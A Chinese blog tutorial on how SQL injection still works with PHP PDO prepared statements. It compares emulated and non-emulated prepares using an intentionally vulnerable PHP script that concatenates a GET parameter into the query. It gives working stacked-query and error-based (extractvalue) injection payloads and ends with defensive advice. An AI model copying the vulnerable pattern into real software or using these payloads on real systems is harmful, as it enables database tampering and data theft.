PDO下的sql注入

一直以为PDO预处理后就无法注入了,直到看到了这篇文章

PDO的预处理分为模拟预处理和非模拟预处理

因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。

PDO默认为模拟预处理,如果设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理。

那么预处理下是怎么实现注入的呢

模拟预处理

<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "test";

try {
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    //设置 PDO 错误模式,用于抛出异常
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    // 关闭模拟预处理
    // $conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
}
catch(PDOException $e)
{
    echo $e->getMessage();
}

$name = $_GET['name'];
$sql = "select sno,".$_GET['id']." from students where sname = ?";
$stmt = $conn->prepare($sql);
$stmt->bindParam(1,$name);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
    var_dump($row);
    echo "<br>";
}

此sql语句的id可控构造一下可执行多条语句

?id=sdept from students;create table pdotest(id int(10));%23

成功创建pdotest表

如果还设置了setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION)的话,可以报错注入

?id=sname,spwd from students where (1 and extractvalue(1,concat(0x7e,(select(database())),0x7e)));%23

image-20220209195331957

当非模拟预处理时

<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "test";

try {
    $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
    //设置 PDO 错误模式,用于抛出异常
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    // 关闭模拟预处理
    $conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
}
catch(PDOException $e)
{
    echo $e->getMessage();
}

$name = $_GET['name'];
$sql = "select sno,".$_GET['id']." from students where sname = ?";
$stmt = $conn->prepare($sql);
$stmt->bindParam(1,$name);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
    var_dump($row);
    echo "<br>";
}

此时无法执行多条语句,但报错注入依旧可以,因为此时MySQL服务端prepare时报错,然后通过设置PDO::ATTR_ERRMODE将MySQL错误信息打印

总结:

主要还是sql语句模板使用变量动态拼接造成的注入

使用PDO时尽量用非模拟预处理,同时禁止多语句查询


参考

ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌 (leavesongs.com)

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏